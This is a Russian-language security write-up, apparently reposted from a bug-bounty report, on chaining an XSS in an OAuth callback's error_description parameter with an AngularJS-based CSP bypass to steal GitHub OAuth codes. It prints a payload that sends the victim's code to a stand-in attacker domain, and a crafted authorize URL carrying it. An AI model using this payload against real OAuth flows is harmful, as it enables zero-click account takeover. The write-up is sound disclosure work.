Информационная безопасность (ИБ)
September 7

XSS в URL обратного вызова OAuth с обходом CSP, приводящий к захвату аккаунта без взаимодействия

Введение
В одном из недавних проектов я столкнулся с серией на первый взгляд незначительных уязвимостей. Однако, когда эти проблемы были объединены, они создали серьезный риск безопасности — уязвимость, позволяющую захватить учетную запись без какого-либо взаимодействия со стороны пользователя. Основной виновник — URL обратного вызова OAuth, в котором при детальном рассмотрении обнаруживается несколько проблем.

В этой статье будет подробно рассмотрен URL обратного вызова OAuth, шаг за шагом мы разберем каждую проблему и объясним цепочку событий, которая позволила проэксплуатировать эти уязвимости. Наша цель — предоставить пример из реальной жизни, который подчеркивает потенциальные угрозы как для безопасности веб-приложений, так и для данных пользователей.

Что такое OAuth?
OAuth — это широко используемый протокол, который позволяет приложениям облегчить вход пользователей через учетные записи популярных поставщиков, таких как Google или GitHub. Процесс OAuth авторизации состоит из нескольких ключевых шагов:

  1. Запрос пользователя на доступ: Все начинается с того, что пользователь, известный как Владелец ресурса (Resource Owner, RO), запрашивает доступ к определенному ресурсу.
  2. Перенаправление приложения: Приложение, или Клиент (Client, RP), затем инициирует перенаправление, направляя User Agent (UA), обычно веб-браузер, на Сервер авторизации (Authorization Server, AS), которым может быть AzureAD, Okta, Cognito, Google или другой доверенный сервер, способный предоставить доступ.
  3. Запрос пользователя на доступ: Владелец ресурса (Resource Owner, RO) взаимодействует с Сервером авторизации и предоставляет одобрение для запрошенного доступа.
  4. Выдача токена: После получения согласия RO AS генерирует и отправляет токен доступа обратно Клиенту.
  5. Использование токена для доступа к данным: Имея токен доступа, Клиент безопасно получает доступ к данным пользователя или защищенным ресурсам на Сервере ресурсов (Resource Server, RS).

XSS в URL обратного вызова OAuth
Обнаружение инъекции
Во время регулярного оценивания безопасности проверяется каждый шаг процесса аутентификации приложения в поисках потенциальных уязвимостей или неправильных конфигураций. В данном случае особое внимание привлек финальный шаг: URL обратного вызова OAuth. Этот URL служит конечной точкой, на которую провайдер OAuth перенаправляет пользователя после аутентификации.

Обычно URL обратного вызова выглядит следующим образом:

https://example.com/callback?code=AUTHORIZATION_CODE

Однако, мы наткнулись на важную деталь: тот же URL обратного вызова использовался для отображения сообщений об ошибках. Например, когда GitHub не мог авторизовать пользователя, он перенаправлял его на URL обратного вызова с сообщением об ошибке:

https://example.com/github/ofg/callback?error=redirect_uri_mismatch&error_description=Wrong+URI

Мы заметили, что любой текст мог быть внедрен в параметр error_description, и он отображался на странице.

Обход CSP
Обычно первое, что надо сделать, когда появляется возможность внедрить любой текст на страницу — это попытаться выполнить атаку XSS (Cross-Site Scripting). Но на этот раз политика CSP (Content Security Policy) приложения была очень строгой и не позволяла выполнять встроенные скрипты:

Чтобы обойти CSP, мы воспользовались тем, что приложение использовало AngularJS, библиотека которого подгружалась с того же домена. Это позволило загрузить библиотеку AngularJS, не нарушая CSP. Затем мы смогли использовать функции шаблонов Angular для внедрения вредоносного кода.
Процесс создания полезной нагрузки включал импорт библиотеки AngularJS и использование директив Angular для инициирования полезной нагрузки с использованием объекта $event.view, который предоставлял доступ к объекту window. Этот подход эффективно обходил CSP, позволяя нам выполнить нашу нагрузку.

Финальная полезная нагрузка выглядела следующим образом:

Затем мы закодировали полезную нагрузку в URL-формат и внедрили ее в параметр error_description. Когда этот URL открывается, код выполняется несмотря на CSP.

Использование XSS для кражи OAuth-кодов
GitHub OAuth использует конкретный URL авторизации для предоставления кода ответа и осуществления перенаправления на URL обратного вызова.
Этот URL обратного вызова проверяется, поэтому невозможно перенаправить пользователей на вредоносные домены для кражи кода ответа, который возвращается в виде параметра.
Тем не менее, как было обнаружено ранее, приложение использует один и тот же URL как для обратных вызовов OAuth, так и для отображения ошибок OAuth. Учитывая, что страница ошибки уязвима к XSS, появляется возможность украсть OAuth-код ответа через внедрение вредоносного кода.

Процесс авторизации OAuth включает следующие шаги:

  1. Пользователь переходит по URL авторизации GitHub.
  2. Если пользователь уже авторизован, его перенаправляют на URL обратного вызова с кодом.
  3. Обратный вызов проверяет код и выдает сессионные куки.Запрос авторизации и перенаправления на GitHub выглядят следующим образом:

Код из ответа выше используется для выдачи куки приложения:

Хотя параметр redirect_uri проходит проверку, разрешая только белые списки URL обратного вызова, параметры внутри URL обратного вызова остаются непроверенными.
Эта уязвимость эксплуатируется путем добавления дополнительных параметров к белому списку URL обратного вызова, например, ?error=q%26error_description=blahblah. Эта манипуляция заставляет приложение отображать страницу ошибки, сохраняя при этом действительный код ответа OAuth.

Как было указано ранее, страница ошибки имеет уязвимость XSS, которая может быть использована для захвата OAuth-кода. Полезная нагрузка XSS структурирована таким образом, чтобы перенаправить пользователя на домен, контролируемый злоумышленником, и использовать код ответа OAuth в качестве пути:

<!DOCTYPE html > 
< html > 
< head > 
< meta  charset = ”utf-8 " /> 
< title > Захват учетной записи Zero Click </ title > 
< meta  name = ”description”  content = ”” /> 
< meta  name = ”viewport”  content = ”width = device-width” /> 
< base  href = ”/” /> 
< script  src = ”lib/socket.io.min.js” > </ script > 
</ head > 
< body > 
< script  src = ”scripts/vendor-31****a1.js” > </ script > 
< div  ng-app = ””  ng-init = ”” > 
< input  ng-on-focus = ”$event.view.location = 'https://ATTACKER-URL.COM/ ' % 2b $ event.view.location.search.slice ( 1 ) .split ('% 26 ')[ 2 ] .split ('= ')[1]”  автофокус /> 
</ div > 
</ body > 
</ html >

Полезная нагрузка должна быть закодирована в URL-формат, с дважды закодированными символами «+» и «&» из-за множественных перенаправлений.

Затем необходимо добавить закодированную полезную нагрузку в параметр error_description URL перенаправления (URL обратного вызова).

https://github.com/login/oauth/authorize?response_type=code&redirect_uri=https://example.com/auth/github/ofg/callback?error=q%26error_description=XSS_PAYLOAD_HERE&scope=repo%2Cread%3Aorg%2Cdelete_repo% 2Cworkflow%2Cuser%3Aemail&client_id=*************

Когда ранее авторизованный пользователь заходит на вредоносный URL, происходит следующая последовательность событий:

  1. GitHub получает запрос на авторизацию.
  2. GitHub проверяет действительность URL.
  3. Поскольку пользователь уже авторизован, GitHub выдает код ответа, прикрепляет его к URL обратного вызова и перенаправляет пользователя.
  4. При достижении страницы выполняется XSS, извлекающий OAuth-код из параметра и передающий его на сервер злоумышленника.Запрос авторизации на GitHub. Перенаправление на страницу ошибки, но с сохранением действительного кода в URL.

Браузер пользователя выполняет XSS и отправляет код с параметра на удаленный сервер:

Злоумышленник получает OAuth-код:

Этот код быть использован для несанкционированного доступа к приложению:

https://example.com/auth/github/ofg/callback?code=CODE_HERE

Заключение
В этом исследовании мы разобрали как серия незначительных проблем, при их комбинировании, может привести к критическому сценарию захвата учетной записи. Погружаясь в тонкости OAuth, разрабатывая стратегию обхода ограничений политики Content Security Policy (CSP) и эксплуатируя уязвимость XSS, мы продемонстрировали эффект домино, который может привести к полномасштабному нарушению безопасности.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор